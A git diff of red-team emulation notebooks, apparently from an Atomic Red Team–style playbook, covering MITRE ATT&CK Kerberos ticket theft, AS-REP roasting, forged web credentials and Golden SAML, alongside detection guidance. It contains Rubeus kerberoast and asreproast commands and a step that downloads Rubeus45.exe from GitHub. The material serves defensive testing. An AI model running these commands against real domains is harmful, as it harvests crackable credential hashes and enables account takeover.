"cell_type": "markdown", - "id": "730e248f", + "id": "b5603f10", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nklist purge\ncmd.exe /c \"$Env:temp\\rubeus.exe\" kerberoast None /outfile:\"$Env:temp\\rubeus_output.txt\"\n```" + "```powershell\nklist purge\ncmd.exe /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" kerberoast None /outfile:\"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus_output.txt\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "17463cc0", + "id": "1dc6e18e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "5338d780", + "id": "6998c4e3", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item $Env:temp\\rubeus_output.txt -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus_output.txt\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7b826c14", + "id": "8d81cbae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "7ab81c48", + "id": "17cda6be", "metadata": {}, "source": "### Atomic Test #3 - Extract all accounts in use as SPN using setspn\nThe following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output all the SPNs for the related domain. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```cmd\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fc18fa74", + "id": "d7bbe65e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "63e1966d", + "id": "bd08a5eb", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4da62ac9", + "id": "6d6b7e7c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "b53daf74", + "id": "e00b828a", "metadata": {}, "source": "### Atomic Test #4 - Request A Single Ticket via PowerShell\nThe following test will utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the endpoint in question.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "324e80d4", + "id": "4fd08da1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "06ae5eed", + "id": "eb7f3639", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -145,28 +145,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9afa587d", + "id": "24cdb204", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8758d4aa", + "id": "98e11243", "metadata": {}, "source": "### Atomic Test #5 - Request All Tickets via PowerShell\nThe following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. \nA successful execution will output the SPNs for the domain in question.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7bc4c4c0", + "id": "3ab45e46", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5a1ad46f", + "id": "3d3c9aca", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -176,14 +176,14 @@ { "cell_type": "code", "execution_count": null, - "id": "67a69716", + "id": "5667b07f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "baab9291", + "id": "fb49d427", "metadata": {}, "source": [ "### Atomic Test #6 - WinPwn - Kerberoasting", @@ -196,14 +196,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c7a23023", + "id": "e195a40a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "e5ee8fb8", + "id": "e3791feb", "metadata": {}, "source": [ "### Atomic Test #7 - WinPwn - PowerSharpPack - Kerberoasting Using Rubeus", @@ -216,14 +216,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ffc0ad57", + "id": "d039aab3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "c5550303", + "id": "4fe670ed", "metadata": {}, "source": "## Detection\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)" } @@ -231,13 +231,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1558.004.ipynb b/playbook/tactics/credential-access/T1558.004.ipynb index 70bb00b8..aa11509f 100644 --- a/playbook/tactics/credential-access/T1558.004.ipynb +++ b/playbook/tactics/credential-access/T1558.004.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "4eaa95c3", + "id": "be34763a", "metadata": {}, "source": "# T1558.004 - AS-REP Roasting\nAdversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)" }, { "cell_type": "markdown", - "id": "83d9aa3a", + "id": "33c6dac7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3df49609", + "id": "a3c6361b", "metadata": {}, - "source": "### Atomic Test #1 - Rubeus asreproast\nInformation on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast\nThis build targets .NET 4.5. If targeting a different version you will need to compile Rubeus\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```\n##### Description: Rubeus must exist\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path $Env:temp\\rubeus.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile $Env:temp\\rubeus.exe\n\n```" + "source": "### Atomic Test #1 - Rubeus asreproast\nInformation on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast\nThis build targets .NET 4.5. If targeting a different version you will need to compile Rubeus\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Computer must be domain joined\n\n##### Check Prereq Commands:\n```powershell\nif((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host Joining this computer to a domain must be done manually\n\n```\n##### Description: Rubeus must exist\n\n##### Check Prereq Commands:\n```powershell\nif(Test-Path -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-Webrequest -Uri https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe -OutFile PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf7787be", + "id": "3594ddc4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e048c9c9", + "id": "af0a13ac", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncmd.exe /c \"$Env:temp\\rubeus.exe\" asreproast /outfile:\"$Env:temp\\rubeus_output.txt\"\n```" + "```powershell\ncmd.exe /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus.exe\" asreproast /outfile:\"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus_output.txt\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3cf06c5c", + "id": "07780ad6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0156f00a", + "id": "7616ff38", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item $Env:temp\\rubeus_output.txt -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\rubeus_output.txt\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1245d5a1", + "id": "d522efe1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "4757d944", + "id": "bbffda01", "metadata": {}, "source": [ "### Atomic Test #2 - Get-DomainUser with PowerView", @@ -72,14 +72,14 @@ { "cell_type": "code", "execution_count": null, - "id": "8ac03453", + "id": "496e28b1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "05712a0c", + "id": "b5437a1b", "metadata": {}, "source": [ "### Atomic Test #3 - WinPwn - PowerSharpPack - Kerberoasting Using Rubeus", @@ -92,14 +92,14 @@ { "cell_type": "code", "execution_count": null, - "id": "d2e26196", + "id": "d321f7d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1558.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "6b0bf09f", + "id": "083fa9aa", "metadata": {}, "source": "## Detection\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)" } @@ -107,13 +107,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1558.ipynb b/playbook/tactics/credential-access/T1558.ipynb index c7c1949e..1a26e080 100644 --- a/playbook/tactics/credential-access/T1558.ipynb +++ b/playbook/tactics/credential-access/T1558.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "05e62d80", + "id": "b7482017", "metadata": {}, "source": "# T1558 - Steal or Forge Kerberos Tickets\nAdversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n" }, { "cell_type": "markdown", - "id": "b91bf441", + "id": "6a27f504", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "4ea98545", + "id": "7750ff81", "metadata": {}, "source": "## Detection\nMonitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/." }, { "cell_type": "markdown", - "id": "dd1f0cb4", + "id": "ab3aa2c0", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Diversity \n Use a diverse set of devices on the network to help establish the\u00a0legitimacy\u00a0of a decoy network. \n\n Network diversity involves the use a diverse collection of network items to make a decoy network look more realistic. It also ensures the network contains the appropriate amount and types of things that would normally be expected, perhaps including networking devices, firewalls, printers, phones, etc. \n#### Opportunity\nThere is an opportunity to determine adversary capabilities or preferences by controlling aspects of the engagement environment.\n#### Use Case\nA defender can setup networks that use Kerberos authentication and systems that authenticate using it. This gives you a chance to see if an adversary has the capacity to steal or forge Kerberos tickets for lateral movement.\n#### Procedures\nDeploy a mix of network devices (systems, servers, printers, phones, etc.) to make a decoy network look realistic.\nDeploy a variety of systems which reflect the use of multiple operating systems, hardware platforms, network services, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1606.001.ipynb b/playbook/tactics/credential-access/T1606.001.ipynb index d5217b72..9aef7cc1 100644 --- a/playbook/tactics/credential-access/T1606.001.ipynb +++ b/playbook/tactics/credential-access/T1606.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "baa90a97", + "id": "45822b42", "metadata": {}, "source": "# T1606.001 - Web Cookies\nAdversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)" }, { "cell_type": "markdown", - "id": "01451f59", + "id": "bf83f33e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ff465acf", + "id": "614652ae", "metadata": {}, "source": "## Detection\nMonitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1606.002.ipynb b/playbook/tactics/credential-access/T1606.002.ipynb index b9089ee8..fae1fd93 100644 --- a/playbook/tactics/credential-access/T1606.002.ipynb +++ b/playbook/tactics/credential-access/T1606.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "6a81b1e4", + "id": "68493bfc", "metadata": {}, "source": "# T1606.002 - SAML Tokens\nAn adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)" }, { "cell_type": "markdown", - "id": "3f8d13cb", + "id": "87b41dda", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c6db6386", + "id": "8f085a5d", "metadata": {}, "source": "### Atomic Test #1 - Golden SAML\nForge a \"Golden SAML\" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). \nYou will need the ADFS token signing certificate (see T1552.004 to export it).\nMore info here : https://o365blog.com/post/adfs/\n\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: AADInternals module must be installed.\n\n##### Check Prereq Commands:\n```powershell\nif (Get-Module AADInternals) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AADInternals -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "92c1aa39", + "id": "b69bd1e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1606.002 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3b25b1fa", + "id": "6872ab78", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,14 +38,14 @@ { "cell_type": "code", "execution_count": null, - "id": "daa8cb16", + "id": "68878808", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1606.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "98397565", + "id": "d970b982", "metadata": {}, "source": "## Detection\nThis technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)" } @@ -53,13 +53,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1606.ipynb b/playbook/tactics/credential-access/T1606.ipynb index bd1eda84..967e0ce4 100644 --- a/playbook/tactics/credential-access/T1606.ipynb +++ b/playbook/tactics/credential-access/T1606.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a3c44b71", + "id": "b93055d3", "metadata": {}, - "source": "# T1606 - Forge Web Credentials\nAdversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)" + "source": "# T1606 - Forge Web Credentials\nAdversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) " }, { "cell_type": "markdown", - "id": "8c10ab4a", + "id": "937efdac", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "5e74243f", + "id": "91408683", "metadata": {}, "source": "## Detection\nMonitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1621.ipynb b/playbook/tactics/credential-access/T1621.ipynb index 9a6ca9f1..379e12dc 100644 --- a/playbook/tactics/credential-access/T1621.ipynb +++ b/playbook/tactics/credential-access/T1621.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "98d5f54d", + "id": "eb44c053", "metadata": {}, - "source": "# T1621 - Multi-Factor Authentication Request Generation\nAdversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the 